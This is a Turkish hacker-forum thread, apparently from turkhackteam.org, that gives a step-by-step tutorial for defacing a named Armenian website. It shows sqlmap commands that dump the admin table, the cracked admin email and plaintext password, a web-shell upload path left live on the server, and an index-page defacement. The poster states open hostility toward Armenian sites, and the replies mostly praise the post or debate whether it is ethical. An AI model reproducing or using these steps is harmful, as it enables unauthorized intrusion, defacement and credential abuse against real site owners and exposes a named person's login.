Sql injection kullanarak ermeni sitesine index atalim.

Gordugunuz gibi id degeri olan urller onumuze cikti.Bunu admin paneli ararkende kullana bilirsiniz.
Her hangi birine girelim ve id degerinin sonuna tirnak isareti atalim.

2- sqlmap -u "https://shogun.am/product.php?id=1" -D shogun --tables

3-sqlmap -u "https://shogun.am/product.php?id=1" -D shogun -T admin,users--columns

4-sqlmap -u "https://shogun.am/product.php?id=1" -D shogun -T admin -C users,admail,name --dump

gordugunuz gibi admin robert avetyan diye birisine ait.Gmail ile md5 sifreyi eslestirince avetyan isimli admine uygun geliyor.
db biraz karisik ama mantik yuruterek anlasiliyor.

Sitemizin admin panelini /admin.php /administrator /login.php diye deniyorum ve ilkine uygun geldigini goruyorum.

md5 sifremizi hashes.com sitesini kullanarak cozelim.

su anda resim upload sitelerinde problem ciktigi icin konuya gorselsiz devam ediyorum.

6b73be608d77388bb9bf90cf1f8e0d50:RoB&112358
sifremizi bulduk.

https://shogun.am/admin.php

[email protected]
RoB&112358

yazarak admin paneline giris yapiyoruz ve ilk resim upload yerinden shellimizi atiyoruz.

https://shogun.am/upload/fxshell.php?path=/var/www/vhosts/shogun.am

buyurun shellimiz bu
httpdocs dizinine giderek index.php yi bulup duzenle diyoruz.
https://shogun.am/ ve sitemize indeximizi atiyoruz.

Shelli silmezseniz sevinirim.Arkadaslar uzerinde arastirma yapsin.
Iyi forumlar dilerim.
Mirrorumuzuda alalim degil mi ? https://ownzyou.com/zone/147171

şifre vs önemli deilde credit cartları oldukca önemli clans of clans gibi düşünün .d eline saglık.

Emeğinize ve elinize sağlık

KARAHANLI' Alıntı:

şifre vs önemli deilde credit cartları oldukca önemli clans of clans gibi düşünün .d eline saglık.

Genişletmek için tıkla ...

THT Üyeleri Çalıntı CreditCard'lar ile iş yapmamaktadır.

Wodenn' Alıntı:

Mirrorumuzuda alalim degil mi ? https://ownzyou.com/zone/147171

Genişletmek için tıkla ...

Eline Sağlık Güzel Konu

deltaturk' Alıntı:

THT Üyeleri Çalıntı CreditCard'lar ile iş yapmamaktadır.

Genişletmek için tıkla ...

biliyorum degerli hocam

Yararlı konu, @Wodenn emeğine sağlık

Teşekkürler eline sağlık

Eline sağlık

Wodenn' Alıntı:

Merhabalar sizleri her yerde konu olmus teorik sql bilgileri vererek tutmak istemiyorum.
NOT:Yeni arkadaslar icin en temel ve anlasilir duzeyde anlatmak istiyorum.
Bu yuzden hemen icraata gecelim.Teorik olarak sqli anlayipta uygulayamayan yeni arkadaslarimiz icin faydali olur umarim.
//Hedef sitemiz:https://shogun.am/
Ilk adim sitede id degeri arayalim.
Ctrl u yapalim ve arama kutucuguna .php?id= yazalim.

​

Gordugunuz gibi id degeri olan urller onumuze cikti.Bunu admin paneli ararkende kullana bilirsiniz.
Her hangi birine girelim ve id degerinin sonuna tirnak isareti atalim.

Ve evet fotograf ve yazilar kayboldu.Burada sql injection mevcut.
Yeni baslayanlar icin manual olarak degilde sqlmap kullanarak db bilgilerini cekelim.
Komutlar
1 - sqlmap -u "https://shogun.am/product.php?id=1" --random-agent --dbs --batch

​

2- sqlmap -u "https://shogun.am/product.php?id=1" -D shogun --tables

3-sqlmap -u "https://shogun.am/product.php?id=1" -D shogun -T admin,users--columns

4-sqlmap -u "https://shogun.am/product.php?id=1" -D shogun -T admin -C users,admail,name --dump

gordugunuz gibi admin robert avetyan diye birisine ait.Gmail ile md5 sifreyi eslestirince avetyan isimli admine uygun geliyor.
db biraz karisik ama mantik yuruterek anlasiliyor.

Sitemizin admin panelini /admin.php /administrator /login.php diye deniyorum ve ilkine uygun geldigini goruyorum.

md5 sifremizi hashes.com sitesini kullanarak cozelim.

su anda resim upload sitelerinde problem ciktigi icin konuya gorselsiz devam ediyorum.

6b73be608d77388bb9bf90cf1f8e0d50:RoB&112358
sifremizi bulduk.

https://shogun.am/admin.php

[email protected]
RoB&112358

yazarak admin paneline giris yapiyoruz ve ilk resim upload yerinden shellimizi atiyoruz.

https://shogun.am/upload/fxshell.php?path=/var/www/vhosts/shogun.am

buyurun shellimiz bu
httpdocs dizinine giderek index.php yi bulup duzenle diyoruz.
https://shogun.am/ ve sitemize indeximizi atiyoruz.

Shelli silmezseniz sevinirim.Arkadaslar uzerinde arastirma yapsin.
Iyi forumlar dilerim.
Mirrorumuzuda alalim degil mi ? https://ownzyou.com/zone/147171

Genişletmek için tıkla ...

Eline sağlık

Eline sağlık.

deltaturk' Alıntı:

THT Üyeleri Çalıntı CreditCard'lar ile iş yapmamaktadır.

Genişletmek için tıkla ...

ikisi de illegal iş. ha site hacklemişsin, ha kart çalmışsın

Eline sağlık Wodenn

Eline sağlık güzel konu

YusufHan81' Alıntı:

ikisi de illegal iş. ha site hacklemişsin, ha kart çalmışsın

Genişletmek için tıkla ...

Aralarındaki İnce Detayı Anlaman Dileğiyle.

deltaturk' Alıntı:

Forum Kuralları

FORUM KURALLARI 1- Forumda yazılan mesajlardan mesaj sahibi forum üyesi sorumludur. Şahısların yazdıkları yazılardan dolayı forumumuz hiçbir sorumluluk kabul etmez. 2- Türkiye Cumhuriyeti yasalarını ya da uluslararası kanunları, anlaşmaları, tüzükleri çiğneyen mesajlar foruma gönderilemez. 3-...

www.turkhackteam.org

Aralarındaki İnce Detayı Anlaman Dileğiyle.

Genişletmek için tıkla ...

ee, nolmuş. sonuç olarak etik bir grup değil tht. yasalara göre bol bol illegal iş çevriliyor. bunu inkar etmenize gerek yok.

KARAHANLI' Alıntı:

şifre vs önemli deilde credit cartları oldukca önemli clans of clans gibi düşünün .d eline saglık.

Genişletmek için tıkla ...

Sayın baron card kısmına bakmadım bile siteye index atmak bana yetiyor

CiHaN-i TuRaN' Alıntı:

Emeğinize ve elinize sağlık

Genişletmek için tıkla ...

Teşekkür ederim

deltaturk' Alıntı:

THT Üyeleri Çalıntı CreditCard'lar ile iş yapmamaktadır.

Eline Sağlık Güzel Konu

Genişletmek için tıkla ...

Teşekkürler

Toryy' Alıntı:

Yararlı konu, @Wodenn emeğine sağlık

Genişletmek için tıkla ...

Teşekkürler Tory

ugurraydogan24' Alıntı:

Eline sağlık

Genişletmek için tıkla ...

Tesekkurler

'pump' Alıntı:

Eline sağlık Wodenn

Genişletmek için tıkla ...

YusufHan81' Alıntı:

ikisi de illegal iş. ha site hacklemişsin, ha kart çalmışsın

Genişletmek için tıkla ...

ben siteye index atinca o site tekrar duzeltiliyor,duzeltilemiyecek hale getirile bilir ama ben oyle yapmiyorum.Ben buna siber guvenlik ,hobi olarak bakiyorum.Ve acikcasi legal illegal ermeni sitesine zarar vermek umrumda bile degil.Kart calmaksa ne hobidir ne siber guvenlikdir direkt olarak dolandiricilik emek hirsizligidir.Umarim kendimi ifade ede bilmisimdir.Iyi forumlar dilerim

Criminal Laoin' Alıntı:

Eline sağlık güzel konu

Genişletmek için tıkla ...

Tesekkurler

Muslukcu' Alıntı:

Eline sağlık

Genişletmek için tıkla ...

Tesekkurler

YusufHan81' Alıntı:

ee, nolmuş. sonuç olarak etik bir grup değil tht. yasalara göre bol bol illegal iş çevriliyor. bunu inkar etmenize gerek yok.

Genişletmek için tıkla ...

Farz et senin bir siten var.Sitenin index yemesini,yedikten sonra aciklari kapatip yola devam etmeyi mi secersin,aylarca yillarca emek verip topladigin paralarin calinmasini mi.Legal illegal konusuyla alakali degil.

Wodenn' Alıntı:

Sayın baron card kısmına bakmadım bile siteye index atmak bana yetiyor

Teşekkür ederim

Teşekkürler

Teşekkürler Tory

Tesekkurler



ben siteye index atinca o site tekrar duzeltiliyor,duzeltilemiyecek hale getirile bilir ama ben oyle yapmiyorum.Ben buna siber guvenlik ,hobi olarak bakiyorum.Ve acikcasi legal illegal ermeni sitesine zarar vermek umrumda bile degil.Kart calmaksa ne hobidir ne siber guvenlikdir direkt olarak dolandiricilik emek hirsizligidir.Umarim kendimi ifade ede bilmisimdir.Iyi forumlar dilerim

Tesekkurler


Tesekkurler

Genişletmek için tıkla ...

adamın prestijini düşürüyorsun, bundan ala şey mi var. ayrıca bir sürü ülkenin veritabanlarını, vatandaşlık bilgilerini, nüfus bilgilerini sızdırıyor buradakilerin bazıları. tht etik bir örgüt, grup değildir.

YusufHan81' Alıntı:

adamın prestijini düşürüyorsun, bundan ala şey mi var. ayrıca bir sürü ülkenin veritabanlarını, vatandaşlık bilgilerini, nüfus bilgilerini sızdırıyor buradakilerin bazıları. tht etik bir örgüt, grup değildir.

Genişletmek için tıkla ...

Dostum adi ustunde hacker forumu.Burada cilekli milkshake tarifi bekleyecek halimiz yok ki.Ama veritabani sizdirmayla prestij dusurmeyle cc yapmak ayni kategoride degil, olamaz

Wodenn' Alıntı:

Dostum adi ustunde hacker forumu.Burada cilekli milkshake tarifi bekleyecek halimiz yok ki.Ama veritabani sizdirmayla prestij dusurmeyle cc yapmak ayni kategoride degil, olamaz

Genişletmek için tıkla ...

evet, olamaz. çünkü veri sızdırmak ve prestij düşürmek daha kötücül bir şey. ayrıca tht kendini fütursuzca etik olarak nitelendiriyor.

YusufHan81' Alıntı:

evet, olamaz. çünkü veri sızdırmak ve prestij düşürmek daha kötücül bir şey. ayrıca tht kendini fütursuzca etik olarak nitelendiriyor.

Genişletmek için tıkla ...

Wodenn' Alıntı:

Farz et senin bir siten var.Sitenin index yemesini,yedikten sonra aciklari kapatip yola devam etmeyi mi secersin,aylarca yillarca emek verip topladigin paralarin calinmasini mi.Legal illegal konusuyla alakali degil.

Genişletmek için tıkla ...

bu sorumun cevabini merak ediyorum.Ikincini seciyorsan bir sey diyemem her dusunceye saygi duyarim.Kafa yapilari farkli.Herkes kendine gore hakli ola bilir.Ama bu kadar tht manifestosuna ters dusuyorsan sahsen ben bunlari yanlis bir sey olarak kabul etseydim forumda takilmazdim.Hesabimi siler giderdim.